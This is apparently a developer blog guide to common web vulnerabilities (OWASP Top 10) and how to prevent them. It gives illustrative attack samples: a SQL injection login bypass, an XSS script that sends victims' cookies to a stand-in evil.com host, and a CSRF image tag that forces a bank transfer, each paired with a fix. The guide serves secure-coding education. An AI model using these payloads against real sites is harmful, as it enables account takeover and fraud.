Security

web application security: common vulnerabilities and how to prevent them

nov 26, 2025 18 min read
Web Application Security: Common Vulnerabilities and How to Prevent Them

web application security vulnerabilities cost businesses billions annually and compromise millions of users' data. understanding the owasp top 10 vulnerabilities and how to prevent them is essential for every developer building web applications in 2025.

this comprehensive guide explores the most critical web security vulnerabilities, from sql injection to cross-site scripting, with practical examples and proven prevention strategies. you'll learn how attackers exploit these flaws and how to build secure applications from the ground up.


The OWASP Top 10: Critical Security Risks

the open web application security project (owasp) maintains a list of the ten most critical web application security risks. this list is updated every few years based on data from security researchers and organizations worldwide, representing the consensus on the most dangerous vulnerabilities.

Why This Matters

over 90% of web applications have at least one owasp top 10 vulnerability. attackers actively scan for these weaknesses using automated tools, making them low-hanging fruit for exploitation. understanding and preventing these vulnerabilities is not optional—it's fundamental to web security.

1. Injection Attacks

injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. the attacker's hostile data tricks the interpreter into executing unintended commands or accessing unauthorized data.

SQL Injection Example

consider a login form that constructs a sql query like this:

# VULNERABLE CODE - DO NOT USE
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
result = db.execute(query)

an attacker could enter admin' -- as the username. the resulting query becomes:

SELECT * FROM users WHERE username='admin' --' AND password='anything'

the -- comments out the rest of the query, bypassing password authentication!

Secure Solution: Parameterized Queries

# SECURE CODE
username = request.form['username']
password = request.form['password']

query = "SELECT * FROM users WHERE username=? AND password=?"
result = db.execute(query, (username, password))

Common Injection Types

  • sql injection (database queries)
  • nosql injection (mongodb, etc.)
  • os command injection
  • ldap injection
  • xml injection

Prevention Strategies

  • use parameterized queries
  • employ orm frameworks
  • validate and sanitize input
  • use least privilege database accounts
  • implement input whitelisting

2. Broken Authentication

authentication and session management flaws allow attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users' identities temporarily or permanently.

Weak Password Policies

allowing weak passwords like "password123" or not enforcing multi-factor authentication makes accounts vulnerable to brute force and credential stuffing attacks.

Session Fixation

failing to regenerate session ids after login allows attackers to hijack user sessions by fixing the session id before authentication.

Credential Exposure

storing passwords in plain text or using weak hashing algorithms (md5, sha1) makes credential databases a goldmine for attackers.

3. Cross-Site Scripting (XSS)

xss flaws occur when applications include untrusted data in web pages without proper validation or escaping. attackers can execute malicious scripts in victims' browsers, stealing session cookies, redirecting users, or defacing websites.

XSS Attack Example

imagine a comment system that displays user input without sanitization:

<!-- VULNERABLE CODE -->
<div class="comment">
    
</div>

an attacker posts: <script>fetch('https://evil.com?cookie='+document.cookie)</script>

when other users view the comment, their session cookies are sent to the attacker's server!

Secure Solution: Output Encoding

<!-- SECURE CODE -->
<div class="comment">
    
</div>

<!-- The script tag becomes harmless text -->
&lt;script&gt;fetch('https://evil.com?cookie='+document.cookie)&lt;/script&gt;

4. Insecure Deserialization

insecure deserialization often leads to remote code execution. even if deserialization flaws don't result in remote code execution, they can enable replay attacks, injection attacks, and privilege escalation.

5. Security Misconfiguration

security misconfiguration is the most common vulnerability. it results from insecure default configurations, incomplete configurations, open cloud storage, misconfigured http headers, and verbose error messages containing sensitive information.

Common Misconfigurations

  • default credentials still enabled (admin/admin)
  • directory listing enabled on web servers
  • detailed error messages exposing stack traces
  • unnecessary features enabled (unused apis, services)
  • missing security headers (csp, hsts, x-frame-options)
  • outdated software with known vulnerabilities

6. Cross-Site Request Forgery (CSRF)

csrf attacks force authenticated users to submit requests to web applications they're currently authenticated to. attackers can trick users into executing unwanted actions like transferring funds, changing email addresses, or modifying account settings.

CSRF Attack Scenario

<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- When victim visits this page while logged into bank.com,
     the transfer executes using their authenticated session! -->

Prevention: CSRF Tokens

<!-- Include unique token in forms -->
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="" />
    <input name="to" />
    <input name="amount" />
    <button type="submit">Transfer</button>
</form>

# Server validates token matches session
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

Security Best Practices

Input Validation

validate all input on the server side. never trust client-side validation alone. use whitelisting over blacklisting.

Output Encoding

encode output based on context (html, javascript, url, css). use framework-provided escaping functions.

Authentication

implement multi-factor authentication. use secure password hashing (bcrypt, argon2). enforce strong password policies.

Access Control

implement least privilege. verify authorization on every request. don't rely on hiding urls or ids.

Encryption

use https everywhere. encrypt sensitive data at rest. use strong, modern encryption algorithms.

Security Headers

implement csp, hsts, x-frame-options, x-content-type-options. configure cors properly.

Security Testing and Monitoring

security is not a one-time effort but an ongoing process. regular testing, monitoring, and updates are essential to maintain a secure application.

Recommended Tools

  • owasp zap: free security scanner for finding vulnerabilities
  • burp suite: comprehensive web security testing platform
  • snyk: finds vulnerabilities in dependencies
  • sonarqube: static code analysis for security issues
  • security headers: test your http security headers

Key Takeaways

  • never trust user input—validate and sanitize everything
  • use parameterized queries to prevent injection attacks
  • implement proper authentication and session management
  • encode output to prevent xss attacks
  • use csrf tokens for state-changing operations
  • keep software updated and properly configured
  • implement security testing in your development pipeline
  • monitor applications for suspicious activity